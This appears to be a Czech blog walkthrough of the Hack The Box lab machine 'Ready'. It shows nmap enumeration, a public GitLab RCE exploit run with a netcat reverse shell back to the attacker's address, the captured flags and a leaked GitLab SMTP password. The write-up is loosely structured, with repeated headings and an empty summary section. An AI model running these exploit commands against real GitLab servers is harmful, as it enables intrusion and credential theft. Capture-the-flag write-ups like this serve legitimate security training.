tom@home.htb:~$

Blog o HTB

2 January 2021

Ready

Úvod a kontext

Na Ready je nejzajímavější, jak se propojí GitLab a únik aplikačních tajemství, nginx a SSH.

Bez pochopení této návaznosti by nedával smysl ani reverse shell přes webovou vrstvu, ani závěrečná lokální enumeraci po získání shellu.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT     STATE SERVICE VERSION

Detailní analýza služeb

V dalším kroku si zpřesňuji verze služeb a jejich charakteristiky, protože právě z těchto detailů obvykle vzniká rozhodnutí, zda pokračovat přes web, SSH nebo jinou vrstvu.

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open  http    nginx
|_http-favicon: Unknown favicon MD5: __CENSORED__
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Analýza zjištění

Identifikace a hledání exploitu

Zjišťuji technologii a ověřuji známé zranitelnosti.

searchsploit --id gitlab 11

Identifikace a hledání exploitu (2)

Zjišťuji technologii a ověřuji známé zranitelnosti.

searchsploit -p 49334
netcat -lvp 4444

Získání přístupu

Získání user flagu

User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.

cat user.txt
__CENSORED__

Eskalace oprávnění

Získání root flagu

Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.

Následující úsek zachycuje i postup, kterým se potvrzuje privilegovaný přístup a načtení root.txt.

netcat -lvp 4444
python3 /usr/share/exploitdb/exploits/ruby/webapps/49334.py -u tomas -p Aaa12345678! -g http://10.10.10.220 -l 10.10.14.7 -P 4444

cat user.txt
e1e30b052b6ec0670698805d745e7682

cat /root_*
YG65407Bjqvv9A0a8Tm_7w

gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: linux - rce - ssh - exploit - enumeration - privesc